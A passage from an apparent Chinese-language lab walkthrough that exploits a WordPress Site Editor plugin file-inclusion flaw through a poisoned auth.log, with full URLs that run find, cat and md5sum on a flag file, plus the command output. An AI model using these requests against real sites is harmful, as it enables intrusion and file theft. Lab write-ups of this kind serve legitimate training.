inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:15:5d:92:88:69 brd ff:ff:ff:ff:ff:ff
inet 172.16.20.6/16 brd 172.16.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::215:5dff:fe92:8869/64 scope link
valid_lft forever preferred_lft forever
from 192.168.200.4 port 45892
Mar 26 05:12:36 ubuntu sshd[1900]: Connection closed by invalid user 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:15:5d:92:88:69 brd ff:ff:ff:ff:ff:ff
inet 172.16.20.6/16 brd 172.16.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::215:5dff:fe92:8869/64 scope link
valid_lft forever preferred_lft forever
192.168.200.4 port 45892 [preauth]
這測試代表指令中有空白也沒問題。那乾脆在網址裡面打reverse shell的指令,方便讓攻擊機操控靶機。
也可以不用reverse shell,直接從網址下指令找檔案位址跟顯示檔案內容也可以
找資料指令如下:
find / -type f -name secret.txt
,要接在ajax_path=
的後面
/var/log/auth.log&CMD=find / -type f -name secret.txt
完整網址:
http://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log&CMD=find / -type f -name secret.txt
下圖第四行顯示了檔案位置:
知道路徑後直接cat:
http://172.16.20.6/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/log/auth.log&CMD=cat%20/etc/flag/secret.txt
顯示的結果:
Mar 26 05:09:01 ubuntu CRON[1896]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 05:09:01 ubuntu CRON[1896]: pam_unix(cron:session): session closed for user root
Mar 26 05:12:16 ubuntu sshd[1900]: Invalid user aksph47b6m2
from 192.168.200.4 port 45892
Mar 26 05:12:36 ubuntu sshd[1900]: Connection closed by invalid user aksph47b6m2
192.168.200.4 port 45892 [preauth]
Mar 26 05:17:01 ubuntu CRON[1906]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 05:17:01 ubuntu CRON[1906]: pam_unix(cron:session): session closed for user root
Mar 26 05:39:01 ubuntu CRON[1976]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 05:39:01 ubuntu CRON[1976]: pam_unix(cron:session): session closed for user root
{"success":true,"data":{"output":[]}}
如果題目不是要內容而是md5,那就是把指令改一下,不用cat而是md5sum:
ajax_path=/var/log/auth.log&CMD=md5sum /etc/flag/secret.txt
顯示結果:
Mar 26 05:09:01 ubuntu CRON[1896]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 05:09:01 ubuntu CRON[1896]: pam_unix(cron:session): session closed for user root
Mar 26 05:12:16 ubuntu sshd[1900]: Invalid user 54d6412f8f3e21c490b8bd5c13910222 /etc/flag/secret.txt
from 192.168.200.4 port 45892
Mar 26 05:12:36 ubuntu sshd[1900]: Connection closed by invalid user 54d6412f8f3e21c490b8bd5c13910222 /etc/flag/secret.txt
192.168.200.4 port 45892 [preauth]
Mar 26 05:17:01 ubuntu CRON[1906]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 05:17:01 ubuntu CRON[1906]: pam_unix(cron:session): session closed for user root
Mar 26 05:39:01 ubuntu CRON[1976]: pam_unix(cron:session): session opened for user root by (uid=0)
Mar 26 05:39:01 ubuntu CRON[1976]: pam_unix(cron:session): session closed for user root
{"success":true,"data":{"output":[]}}